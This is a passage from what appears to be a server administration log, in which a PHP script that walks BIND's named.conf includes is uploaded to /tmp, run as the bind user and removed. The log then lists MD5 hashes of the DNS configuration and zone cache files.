	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 22:50:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp407545; rm /tmp/pkp407545'

2026-04-23 22:50:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 22:54:14: Establishing a connection
2026-04-23 22:54:14: 

PUT: /tmp/pkp619807

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 22:54:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp619807; rm /tmp/pkp619807'

2026-04-23 22:54:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
